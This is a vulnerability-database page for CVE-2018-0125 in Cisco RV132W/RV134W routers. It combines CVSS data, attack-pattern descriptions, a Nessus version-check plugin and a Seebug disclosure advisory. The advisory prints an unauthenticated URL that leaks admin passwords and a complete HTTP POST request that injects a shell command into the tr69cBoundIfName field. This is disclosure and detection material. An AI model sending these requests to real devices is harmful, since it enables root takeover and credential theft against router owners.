Vulnerabilities > CVE-2018-0125 - Improper Input Validation vulnerability in Cisco Rv132W Firmware and Rv134W Firmware

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
cisco
CWE-20
critical
nessus

Summary

A vulnerability in the web interface of the Cisco RV132W ADSL2+ Wireless-N VPN and RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control of an affected system, including issuing commands with root privileges. The attacker could also cause an affected system to reload, resulting in a denial of service (DoS) condition. The vulnerability is due to an incomplete input validation on user-controlled input in an HTTP request to the targeted device. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected system. A successful exploit could allow the attacker to execute arbitrary code as the root user and gain full control of the affected system or cause it to reload, resulting in a DoS condition. This vulnerability is fixed in firmware version 1.0.1.11 for the following Cisco products: RV132W ADSL2+ Wireless-N VPN Router and RV134W VDSL2 Wireless-AC VPN Router. Cisco Bug IDs: CSCvg92737, CSCvh60170.

Vulnerable Configurations

Part Description Count
OS
Cisco
2
Hardware
Cisco
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Nessus

NASL familyCISCO
NASL idCISCO-SA-20180207-RV13X.NASL
descriptionAccording to its self-reported version, this Cisco Small Business RV Series router is affected by a remote code execution vulnerability. A vulnerability in the web interface of the Cisco RV132W ADSL2+ Wireless-N VPN and RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control of an affected system, including issuing commands with root privileges. The attacker could also cause an affected system to reload, resulting in a denial of service (DoS) condition. Please see the included Cisco BIDs and Cisco Security Advisory for more information
last seen2020-06-01
modified2020-06-02
plugin id129781
published2019-10-10
reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/129781
titleCisco Small Business RV132W and RV134W Remote Code Execution (cisco-sa-20180207-rv13x)
code
#TRUSTED 7f946346bc6cb8cc2a2ae6e2e35305d5d99744612242ca91420f73d9f63e0b4e9dc32198fdfe837e9a087741c90fd9bd28f5af180e45352db6183e422f98856e179d8e3ba65c34fd56b61d60c3e9d5418749fb3382aec123bbc65ecc2158f9ab209777810b74f9685140ed2f5bd58a713e118be34bf4a394af34fde88fac1d5517ea7b7fb7ba908a61157586a3bb8403b2a3ce75939f7e1110cbe6c985b43a9795ab82f5bf1e5d3383969bb11c8f3b0f333ac48aad7a03bf185f1363097767380cacad52764e4d04f09249b5bd4842b3443e44af36139bbf88fb75739da25ca819bc037f9c572cbd4bbe4875f35e827c07a0a7d2faa0a2784e2784515196fed55084f3ff7fa05176b1391f276ab1466124f046ed7b3b93e7708c0de0918c3465baa036b86b52241b782229ac98153db179266e77bd528e99a1270e5f4ef9624efa71b8d5978fe56e59612a3599e1776d97ea87292bb5f21d8986afc1d1609def9a3414388939461b0e8fcba67901ea686677841470bbb0227378ddf2b353458b3e53e20f5f52d6a177db9fb8371174c6e8b5c96875c8e24729d68603454ca7e11d38716d354c22455f926afc01c628cb08da788fd48a02cdf8054b790e48588f271f9f853ec92d69d7e4a2e8dbb90ccc0688c3faffcba97c9c591b614bfb484b2df006ad859065abfaaa7ef92268f64f56f7e4b7906dfd9af62751c3941814bd
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(129781);
  script_version("1.5");
  script_cvs_date("Date: 2019/12/20");

  script_cve_id("CVE-2018-0125");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvg92737");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh60170");
  script_xref(name:"CISCO-SA", value:"cisco-sa-20180207-rv13x");
  script_xref(name:"IAVA", value:"0001-A-0010");

  script_name(english:"Cisco Small Business RV132W and RV134W Remote Code Execution (cisco-sa-20180207-rv13x)");
  script_summary(english:"Checks the version of Cisco Small Business RV Series Router Firmware");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is missing a vendor-supplied security patch");
  script_set_attribute(attribute:"description", value:
"According to its self-reported version, this Cisco Small Business RV Series router is affected by a remote code
execution vulnerability. A vulnerability in the web interface of the Cisco RV132W ADSL2+ Wireless-N VPN and RV134W VDSL2
Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code and gain full control
of an affected system, including issuing commands with root privileges. The attacker could also cause an affected system
to reload, resulting in a denial of service (DoS) condition. Please see the included Cisco BIDs and Cisco Security
Advisory for more information");
  # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fdf80fdf");
  script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg92737");
  script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvh60170");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the relevant fixed version referenced in Cisco bug IDs CSCvg92737, CSCvh60170");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-0125");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/02/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/02/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:cisco:small_business_rv_series_router_firmware");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CISCO");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("cisco_small_business_detect.nasl");
  script_require_keys("Cisco/Small_Business_Router/Version", "Cisco/Small_Business_Router/Device");

  exit(0);
}

include('audit.inc');
include('cisco_workarounds.inc');
include('ccf.inc');

product_info = cisco::get_product_info(name:'Cisco Small Business RV Series Router Firmware');

if(product_info['model'] !~ "^RV13[24]W") audit(AUDIT_HOST_NOT, 'an affected device');

vuln_list = [
  {'min_ver' : '0.0', 'fix_ver' : '1.0.1.11'}
];

reporting = make_array(
  'port'          , 0,
  'severity'      , SECURITY_HOLE,
  'fix'           , '1.0.1.11',
  'version'       , product_info['version'],
  'bug_id'        , 'CSCvg92737, CSCvh60170',
  'disable_caveat', TRUE
);

cisco::check_and_report(
  product_info:product_info,
  reporting:reporting,
  vuln_ranges:vuln_list
);

Seebug

bulletinFamilyexploit
description### Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Cisco RV132W Wireless N VPN version 1.0.1.8 The Cisco RV132W Wireless-N ADSL2+ VPN Router is “easy to use, set up, and deploy. This flexible router offers great performance and is suited for small or home offices (SOHO) and smaller deployments.” The vulnerabilities found are: * Information Disclosure That Leads to Password Disclosure * Unauthenticated WAN Remote Code Execution ### Credit A security researcher from, NHSC, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response Cisco were informed of the vulnerabilities and released patches to address them: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x CVE: CVE-2018-0125 / CVE-2018-0127 ### Vulnerabilities details #### Information Disclosure that Leads to Password Disclosure User controlled input is not sufficiently filtered, unauthenticated user can access the following page: ``` http://[TARGET_IP]/dumpmdm.cmd ``` The output will include the admin SSH password (base64) ``` <AdminUserName>redalert</AdminUserName> <AdminPassword>61eac78956b08e9b7c499691eddbe2e2</AdminPassword> <AdminPasswordHash>(null)</AdminPasswordHash> <AdminCliEnable>TRUE</AdminCliEnable> <SupportUserName>support</SupportUserName> <SupportPassword>support</SupportPassword> <SupportPasswordHash>(null)</SupportPasswordHash> <SupportCliEnable>TRUE</SupportCliEnable> <UserUserName>user</UserUserName> <UserPassword>user</UserPassword> <UserPasswordHash>(null)</UserPasswordHash> <UserCliEnable>TRUE</UserCliEnable> <logintimeout>30</logintimeout> <SetAdminUser>TRUE</SetAdminUser> <SetGuestUser>FALSE</SetGuestUser> <EnableAdminUser>TRUE</EnableAdminUser> <EnableGuestUser>FALSE</EnableGuestUser> <GuestUserName>guest</GuestUserName> <GuestPassword>574ea313a3b02211d193d01606942111</GuestPassword> <GuestPasswordHash>(null)</GuestPasswordHash> <GuestCliEnable>TRUE</GuestCliEnable> <GuestUserIsInUse>FALSE</GuestUserIsInUse> <FirstLogin>TRUE</FirstLogin> <GuestLoginTimeout>30</GuestLoginTimeout> <loginchecked>0</loginchecked> <sshpass>cmVkYWxlcnQxMzIkAA==</sshpass> ``` Decoding: “cmVkYWxlcnQxMzIkAA==” base64 decodes to “redalert132$” which is our test unit password. #### Unauthenticated WAN Remote Code Execution User controlled input is not sufficiently filtered, unauthenticated user can access the following page: ``` http://[TARGET_IP]/tr69cfg.cgi ``` By sending POST request with modify parameter tr69cBoundIfName= an unauthenticated user can execute arbitrary code on the victims router ``` POST /tr69cfg.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/2010010 1 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 627 Referer: http://192.168.1.1/tr69cfg.cgi Connection: close Upgrade-Insecure-Requests: 1 submit_button=Basic_config&tr69cEnable=1&tr69cInformEnable=1&ipvEnable=0&tr69cInformInterval=300&tr69cAcsURL=http%3A%2F%2F192.168.1.1&tr69cAcsUser=admin&tr69cAcsPwd=admin&tr69cConnReqUser=admin&tr69cConnReqPwd=admin&tr69cConnReqPort=7547&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0&tr69cAcsCert=&tr69cCpeCert=&downloadFileType=&tr69cBoundIfName=;COMMAND-TO-RUN;&tr69cBindInterface=ETH_WAN_R&tr69=on&ipv=on&inform=on&informInterval=300&httpCategory=http%3A%2F%2F&acsURL=192.168.1.1&acsUser=admin&acsPwd=admin&debug=on&FileType=on&connReqAuth=on&connReqUser=admin&connReqPwd=admin&connReqPort=7547&WANInterface=eth0.1 ```
idSSV:97135
last seen2018-02-23
modified2018-02-23
published2018-02-23
reporterRoot
titleCisco RV132W Multiple Vulnerabilities(CVE-2018-0125/CVE-2018-0127)